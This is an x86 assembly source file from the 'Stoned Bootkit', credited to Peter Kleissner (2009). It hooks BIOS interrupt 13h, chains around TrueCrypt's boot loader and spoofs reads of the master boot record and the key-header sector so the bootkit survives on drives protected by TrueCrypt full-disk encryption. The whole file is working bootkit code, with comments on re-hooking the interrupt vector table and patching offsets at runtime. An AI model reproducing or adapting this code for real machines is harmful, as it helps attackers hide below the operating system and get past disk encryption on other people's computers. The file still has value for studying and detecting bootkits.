
; simply call this function (TrueCrypt_Spoof) to bypass TrueCrypt
; when you found any Windows signature disable the spoof by  mov [TrueCrypt_Spoof_Sector + 4],dword 0
; (otherwise Windows will have problems mounting the drive in real mode and protected mode)

; (C) 2009 Peter Kleissner, published under the ToasterOS license http://web17.webbpro.de/index.php?page=terms-of-use


TrueCrypt_Spoof:

; TrueCrypt called us?
call TrueCrypt_Complex_BIOS_Forward

; install the hook to TrueCrypt
call Install_TrueCrypt_Hook

; check for functions "Read", "Write", "Verify", "Extended Read", "Extended Write", "Extended Verify"
cmp ah,02h                                                                      ; 02h = Read
jb Check_Int13h_Spoof_2                                                         ; 03h = Write
cmp ah,04h                                                                      ; 04h = Verify
jnbe Check_Int13h_Spoof_2                                                       ;   CHS: cl = sector, ch = cylinder, dh = head

; old-school sector operation: check if its MBR related
or ch,ch                                                                        ; cylinder > 0?
jnz TrueCrypt_Spoof_Exit
or dh,dh                                                                        ; head > 0?
jnz TrueCrypt_Spoof_Exit                                                        ; sector: 1-63 (= exactly in MBR)

; the sector number is now the offset in MBR :), -> seek to backup MBR
add ah,40h                  ; heavily cheatin' but it works
mov si,7C00h + 512 - 10h
mov [si + 00h],word 10h     ; 00h BYTE    size of packet (10h or 18h)
mov [si + 02h],word 0       ; 01h BYTE    reserved (0)
mov [si + 02h],byte al      ; 02h WORD	  number of blocks to transfer (max 007Fh for Phoenix EDD)
mov [si + 04h],dword 0      ; 04h DWORD   -> transfer buffer
mov [si + 08h],dword 0      ; 08h QWORD   starting absolute block number
mov [si + 08h+4],dword 0    ; 08h QWORD   starting absolute block number
dec cl
mov [si + 08h],byte cl
mov [si + 04h],word bx
mov bx,es
mov [si + 04h+2],word bx
jmp TrueCrypt_Spoof_Sector

Check_Int13h_Spoof_2:
cmp ah,42h                                                                      ; 42h = Extended Read
jb TrueCrypt_Spoof_Exit                                                         ; 43h = Extended Write
cmp ah,44h                                                                      ; 44h = Extended Verify
jnbe TrueCrypt_Spoof_Exit                                                       ;   LBA: disk address packet =)

; check if the LBA is between 0 and 62
cmp [si+08h],dword 62                                                           ; 08h	QWORD	starting absolute block number
jnbe TrueCrypt_Spoof_Exit
cmp [si+0Ch],dword 0                                                            ;     (high dword)
jne TrueCrypt_Spoof_Exit
;cmp [si+08h],dword 0                                                            ; No Sector 0 Spoof (otherwise Vista crashes :S)
;je TrueCrypt_Spoof_Exit                                                         ; multiple times in Vista, always buffer = 30000h, count = 1, sector = 0

; TrueCrypt Key Header data?
cmp [si+08h],dword 62
jne TrueCrypt_Spoof_Sector

; no MBR spoof (remove the master boot record spoof to prevent Windows from crashing)
mov [cs:TrueCrypt_Spoof_Sector + 4],dword 0                                     ; no further MBR backup spoof since TrueCrypt is now on

TrueCrypt_Spoof_Sector:                                                         ; spoof!
add [si+08h],dword 19840000h                                                    ; <- must be overwritten at runtime by +offset

TrueCrypt_Spoof_Exit:

ret


Install_TrueCrypt_Hook:

; check if TrueCrypt is installed and modify hook =)
push ds
push eax
xor ax,ax
mov ds,ax
cmp [13h * 4],word Interrupt_13h_Hook
je NoTrueCrypt_Detected

; Windows request -> modified by Stoned Bootkit -> TrueCrypt Encryption -> (double forward here) -> Interrupt 13h
mov eax,dword [13h * 4]                                                         ; IVT interrupt 13h vector contains TrueCrypt
xchg dword [cs:Forward_Interrupt_13h_Original + 1],dword eax                    ; so set as forward; eax contains then the original BIOS interrupt 13h handler

; set forwarded for reading/writing encrypted sectors
mov [cs:TrueCrypt_Complex_BIOS_Forward + 0],dword 0EA04C483h                    ; opcodes
mov [cs:TrueCrypt_Complex_BIOS_Forward + 4],dword eax                           ; and address

; hook interrupt 13h - again :-)
mov [13h * 4],word Interrupt_13h_Hook_Stage_2                                   ; new address to jump to on "int 13h" instruction :-)
mov [13h * 4 + 2],cs                                                            ; set segment to jump to on int 13h

; handle the call without quering the call to TrueCrypt again :)
pop eax
pop ds
jmp TrueCrypt_Complex_BIOS_Forward

NoTrueCrypt_Detected:
pop eax
pop ds

ret


TrueCrypt_Complex_BIOS_Forward:

nop   ; 83C402              add sp,2*2              removing the function calls
nop   
nop   
nop   ; EA00000000          jmp word 0000h:0000h    jumping to the BIOS
nop   
nop   
nop   
nop   

ret

